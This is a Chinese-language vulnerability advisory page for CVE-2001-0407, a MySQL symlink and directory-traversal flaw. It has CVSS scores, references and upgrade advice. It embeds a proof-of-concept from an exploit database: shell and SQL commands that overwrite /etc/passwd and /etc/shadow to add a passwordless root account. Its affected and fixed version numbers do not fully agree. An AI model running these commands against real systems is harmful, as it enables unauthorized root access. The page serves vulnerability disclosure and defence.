CVE-2001-0407
CVSS4.6
发布时间 :2001-06-27 00:00:00
修订时间 :2008-09-05 16:24:01
NMCOE    

[原文]Directory traversal vulnerability in MySQL before 3.23.36 allows local users to modify arbitrary files and gain privileges by creating a database whose name starts with .. (dot dot).


[CNNVD]MySQL根操作符号链接文件改写漏洞(CNNVD-200106-164)

        MySQL 3.23.36版本存在目录遍历漏洞。本地用户通过创建名字以 .. (点 点)开始的数据库修改任意文件和提升特权。

- CVSS (基础分值)

CVSS分值: 4.6 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0407
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0407
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200106-164
(官方数据源) CNNVD

- 其它链接及资源

http://archives.neohapsis.com/archives/bugtraq/2001-03/0396.html
(VENDOR_ADVISORY)  BUGTRAQ  20010327 MySQL 3.23.36 is relased (fwd)
http://archives.neohapsis.com/archives/bugtraq/2001-03/0237.html
(VENDOR_ADVISORY)  BUGTRAQ  20010318 potential vulnerability of mysqld running with root privileges (can be used as good DoS or r00t expoloit)
http://xforce.iss.net/static/6617.php
(UNKNOWN)  XF  mysql-dot-directory-traversal(6617)
http://www.securityfocus.com/bid/2522
(UNKNOWN)  BID  2522

- 漏洞信息

MySQL根操作符号链接文件改写漏洞
中危 路径遍历
2001-06-27 00:00:00 2006-03-28 00:00:00
本地  
        MySQL 3.23.36版本存在目录遍历漏洞。本地用户通过创建名字以 .. (点 点)开始的数据库修改任意文件和提升特权。

- 公告与补丁

        Updates available:
        MySQL AB MySQL 3.23.34
        

- 漏洞信息 (20718)

MySQL 3.20.32 a/3.23.34 Root Operation Symbolic Link File Overwriting Vulnerability (EDBID:20718)
unix local
2001-03-18 Verified
0 lesha
N/A [点击下载]
source: http://www.securityfocus.com/bid/2522/info

MySQL is a relational database management system (RDBMS), freely available and open source. It is maintained by MySQL AB.

A problem with the implementation of some MySQL databases may permit local users to overwrite sensitive system files. This problem affects MySQL implementations that run the database under the uid of root. By using a symbolic link in the /var/tmp directory, and linking it to a file that is write-accesible by root, a user can log into the database with their account, and create a table with a name corresponding to that of the symbolic link. The creation of the table will overwrite the linked file, and any data created within the table will be written to the file that has been symbolically linked. This is dependent entirely upon the attacker having a MySQL account with the "create table" privilege.

Therefore, it is possible for a local user to overwrite sensitive system files, and potentially gain elevated privileges, including administrative access.

$ cd /var/tmp
$ ln -s /etc/passwd gotcha.ISD
$ ln -s /etc/shadow make_me_r00t.ISD
$ mysql -u user -h localhost -p somepassword '../../tmp'
create table gotcha(qqq varchar(255));
create table make_me_r00t(qqq varchar(255));
insert into gotcha values('\nr00t::0:0:Hacked_Fucked_R00T:/:/bin/sh\n');
insert into make_me_r00t values('\nr00t::1:0:99999:7:-1:-1:\n');
\q
$ 		

- 漏洞信息

520
MySQL Database Name Traversal Arbitrary File Modification
Remote / Network Access Input Manipulation
Loss of Integrity Upgrade
Exploit Public Vendor Verified

- 漏洞描述

- 时间线

2001-03-18 Unknow
2001-03-18 Unknow

- 解决方案

Upgrade to version 3.23.38 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站